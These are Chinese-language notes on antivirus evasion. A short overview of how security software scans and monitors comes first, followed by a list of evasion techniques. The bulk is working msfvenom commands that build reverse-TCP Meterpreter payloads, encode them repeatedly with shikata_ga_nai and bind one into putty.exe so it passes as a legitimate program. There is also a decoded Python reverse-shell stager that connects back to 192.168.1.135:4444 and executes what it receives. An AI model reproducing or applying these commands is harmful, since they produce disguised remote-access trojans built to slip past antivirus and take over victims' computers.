免杀1

免杀介绍

杀软相关:

  1. 扫描技术:
1
2
3
4
5
6
7
8
9
扫描技术:
n 1、扫描压缩包技术:即是对压缩包案和封装⽂件作分析检查的技术。
n 2、程序窜改防护:即是避免恶意程序借由删除杀毒侦测程序⽽⼤肆破坏电脑。
n 3、修复技术:即是对恶意程序所损坏的⽂件进⾏还原
n 4、急救盘杀毒:利⽤空⽩U盘制作急救启动盘,来检测电脑病毒。
n 5、智能扫描:扫描最常⽤的磁盘,系统关键位置,耗时较短。
n 6、全盘扫描:扫描电脑全部磁盘,耗时较⻓。
n 7、勒索软件防护:保护电脑中的⽂件不被⿊客恶意加密。
n 8、开机扫描:当电脑开机时⾃动进⾏扫描,可以扫描压缩⽂档和可能不需要的程序
  1. 监控技术
1
2
3
4
5
6
7
8
监控技术:
n 1、内存监控:当发现内存中存在病毒的时候,就会主动报警;监控所有进程;监控
n 读取到内存中的⽂件;监控读取到内存的⽹络数据。
n 2、⽂件监控:当发现写到磁盘上的⽂件中存在病毒,或者是被病毒感染,就会主动
n 报警。
n 3、邮件监控:当发现电⼦邮件的附件存在病毒时进⾏拦截。
n 4、⽹⻚防护:阻⽌⽹络攻击和不安全下载。
n 5、⾏为防护:提醒⽤户可疑的应⽤程序⾏为。

特征码

文件特征码

内存特征码

文件校验和

checksum 生成校验和:md5sum 文件名

沙箱

….

免杀技术

修改特征码: 逆向

花指令免杀: 汇编

加壳免杀

内存免杀

二次编译

分离免杀: shellcode (机器码)

资源修改:

​ 白名单: 把恶意程序修改成常见的程序的名称

​ 数字签名: 数字签名添加器

​ 资源替换:

​ 版本信息, 发行者信息, 图标信息等…Resource Hacker

metasploit免杀

1
2
3
4
5
-shellest 最小化生成payload
-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
-b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 '\x0f'、'\x00';
-s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小
-n, –nopsled < length> 为payload预先指定一个NOP滑动长度

高级模块:

​ show advanced –> 查看高级模块

​ PrependMigrate true –> 是否开启进程迁移

​ PrependMigrateProc –> 指定迁移的进程

​ ExitOnSession false –> 防止会话假死

​ EnableStageEncoding true –> 允许编码

​ StageEncoder –> 木马连接时,对stage进行编码

​ EnableUnicodeEncoding –> 指定unicode编码

​ raw: 原生代码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
生成py文件的木马
msfvenom -a python -p python/meterpreter/reverse_tcp lhost=192.168.1.135 lport=4444 -f raw > 1.py

base64解密:
密文:
aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4xMzUnLDQ0NDQpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=
解密:
echo 密文 | base64 -d
import socket,zlib,base64,struct,time
for x in range(10):
try:
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('192.168.1.135',4444))
break
except:
time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(zlib.decompress(base64.b64decode(d)),{'s':s})

编码模块: -e(指定编码) -i(指定编码次数)

1
2
3
4
5
6
7
8
9
10
11
常用:
x86/shikata_ga_nai
x86/xor_dynamic
x64/xor_dynamic
...

自编码免杀:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -e x86/shikata_ga_nai -i 15 -f exe -o shell.exe

自捆绑免杀:
msfvenom -x putty.exe -p windows/meterpreter/reverse_tcp LHOST=192.168.1.129 LPORT=4444 -f exe -o payload.exe